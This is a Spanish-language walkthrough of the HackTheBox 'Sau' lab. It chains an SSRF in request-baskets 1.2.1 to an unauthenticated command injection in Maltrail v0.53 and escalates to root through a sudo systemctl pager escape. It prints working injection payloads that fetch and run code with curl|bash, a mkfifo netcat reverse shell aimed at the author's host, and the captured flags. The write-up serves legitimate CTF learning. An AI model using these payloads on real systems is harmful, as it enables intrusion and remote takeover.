Sau es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Sau 10.129.24.28 a /etc/hosts como sau.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -p- --open -sS --min-rate 5000 -n -vvv -oA enumeration/nmap1 10.129.24.28 Nmap scan report for 10.129.24.28 Host is up, received echo-reply ttl 63 (0.040s latency). Scanned at 2023-07-09 20:29:53 GMT for 13s Not shown: 65472 closed tcp ports (reset), 61 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 55555/tcp open unknown syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Jul 9 20:30:06 2023 -- 1 IP address (1 host up) scanned in 13.06 seconds |
Realizado el escaneo inicial, analizamos más a fondo los puertos descubiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
$ nmap -sCV -p 22,55555 -oA enumeration/nmap2 10.129.24.28 Nmap scan report for 10.129.24.28 Host is up (0.040s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA) | 256 ec2eb105872a0c7db149876495dc8a21 (ECDSA) |_ 256 b30c47fba2f212ccce0b58820e504336 (ED25519) 55555/tcp open unknown | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 400 Bad Request | Content-Type: text/plain; charset=utf-8 | X-Content-Type-Options: nosniff | Date: Sun, 09 Jul 2023 20:31:01 GMT | Content-Length: 75 | invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$ | GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Content-Type: text/html; charset=utf-8 | Location: /web | Date: Sun, 09 Jul 2023 20:30:35 GMT | Content-Length: 27 | href="/web">Found</a>. | HTTPOptions: | HTTP/1.0 200 OK | Allow: GET, OPTIONS | Date: Sun, 09 Jul 2023 20:30:35 GMT |_ Content-Length: 0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port55555-TCP:V=7.93%I=7%D=7/9%Time=64AB18EA%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\x SF:20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sun,\x2009\x20Jul\x202 SF:023\x2020:30:35\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/we SF:b\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2 SF:0close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x2020 SF:0\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sun,\x2009\x20Jul\x202 SF:023\x2020:30:35\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest, SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\ SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request") SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R SF:equest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r SF:\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x SF:20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCo SF:nnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"H SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Ke SF:rberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/ SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re SF:quest")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nC SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options: SF:\x20nosniff\r\nDate:\x20Sun,\x2009\x20Jul\x202023\x2020:31:01\x20GMT\r\ SF:nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20name SF:\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}\$\n SF:")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\ SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B SF:ad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\ SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos SF:e\r\n\r\n400\x20Bad\x20Request"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jul 9 20:31:58 2023 -- 1 IP address (1 host up) scanned in 92.46 seconds |
Enumeración
Encontramos una página web en el puerto 55555 que luce como se ve en la siguiente captura

Si miramos en el footer de la página web vemos el software y la versión del mismo
|
1 |
request-baskets 1.2.1 |
Así que nos vamos a google y encontramos una vuln de SSTI y un par de enlaces interesantes acerca de como explotarla
https://gist.github.com/b33t1e/3079c10c88cad379fb166c389ce3b7b3
https://notes.sjtu.edu.cn/s/MUUhEymt7#
Visto el funcionamiento de las mismas, y después de hacer alguna que otra prueba, generamos un basket y nos vamos a la configuración para marcar la opción de proxy response

Hecho esto, accedemos a nuestro basket y veremos una página que pertenece a otra aplicación

En la cual además, podemos ver la versión
|
1 |
Powered by Maltrail (v0.53) |
Se trata de Maltrail, un sistema de detección de tráfico malicioso, así que vamos a google con lo que tenemos y encontramos un bug bounty donde explica una vulnerabilidad de unauthenticated command injection
Así que vamos a tratar de explotarla. Para ello volvemos a nuestro basket y modificaremos la dirección de forward por la siguiente
|
1 |
http://127.0.0.1:80/login |
Hecho esto, volvemos a lanzar la petición observando un error de Login failed

Parece que funciona así que vamos a lanzar la petición POST y veremos un error de login failed
|
1 2 |
$ curl -X POST http://sau.htb:55555/zgir1iv -d 'username=;`curl 10.10.15.35/x|bash`' Login failed |
Pero si revisamos la escucha de nuestro server python, vemos que ha funcionado y nos ha lanzado la petición
|
1 2 3 4 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.24.28 - - [09/Jul/2023 21:07:33] code 404, message File not found 10.129.24.28 - - [09/Jul/2023 21:07:33] "GET /x HTTP/1.1" 404 - |
Así que vamos a lanzar la petición, en este caso van a ser necesarias dos peticiones, una que nos permita acceder al maltrail y otra que nos permita llegar a la máquina con el usuario que lanza la aplicación.
Así que lanzamos la primera revshell
|
1 |
$ curl -X POST http://sau.htb:55555/zgir1iv -d 'username=;`nc 10.10.15.35 4444 |bash`' |
Y en la escucha lanzamos una segunda
|
1 2 3 4 |
$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.15.35] from (UNKNOWN) [10.129.24.28] 42020 rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.35 4445 >/tmp/f |
Y en la última escucha obtendremos una shell con el usuario puma
|
1 2 3 4 5 6 7 |
$ nc -lvp 4445 listening on [any] 4445 ... connect to [10.10.15.35] from sau.htb [10.129.24.28] 58092 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(puma) gid=1001(puma) groups=1001(puma) $ |
Obteniendo la flag de user
Revisamos en la home del usuario y obtenemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ ls -la total 32 drwxr-xr-x 4 puma puma 4096 Jun 19 12:25 . drwxr-xr-x 3 root root 4096 Apr 15 09:17 .. lrwxrwxrwx 1 root root 9 Apr 14 17:46 .bash_history -> /dev/null -rw-r--r-- 1 puma puma 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 puma puma 3771 Feb 25 2020 .bashrc drwx------ 2 puma puma 4096 Apr 15 09:42 .cache drwx------ 3 puma puma 4096 Apr 15 09:51 .gnupg -rw-r--r-- 1 puma puma 807 Feb 25 2020 .profile lrwxrwxrwx 1 puma puma 9 Apr 15 09:41 .viminfo -> /dev/null lrwxrwxrwx 1 puma puma 9 Apr 15 09:41 .wget-hsts -> /dev/null -rw-r----- 1 root puma 33 Jul 9 20:01 user.txt $ cat user.txt 0c42710bd22d18d2c3f5f285e050908f $ |
Escalado de privilegios
Ahora para el escalado a root, mejoramos en primer lugar nuestra shell
|
1 2 |
$ script /dev/null -c bash Script started, file is /dev/null |
Y revisamos los permisos del usuario
|
1 2 3 4 5 6 7 8 9 |
puma@sau:~/.ssh$ sudo -l sudo -l Matching Defaults entries for puma on sau: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service puma@sau:~/.ssh$ |
El usuario puma puede ejecutar como root systemctl para observar el estado del servicio trail, por lo que vamos a ver en gtfobins como abusar de ello.
Ejecutamos y somos root
|
1 2 3 4 5 6 7 8 |
puma@sau:~$ sudo /usr/bin/systemctl status trail.service sudo /usr/bin/systemctl status trail.service WARNING: terminal is not fully functional - (press RETURN)!sh !sshh!sh # id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Y como último paso, cogemos la flag
|
1 2 3 4 |
# cat /root/root.txt cat /root/root.txt f2844c0f730eb9758a30c0a3aa4bf55d # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










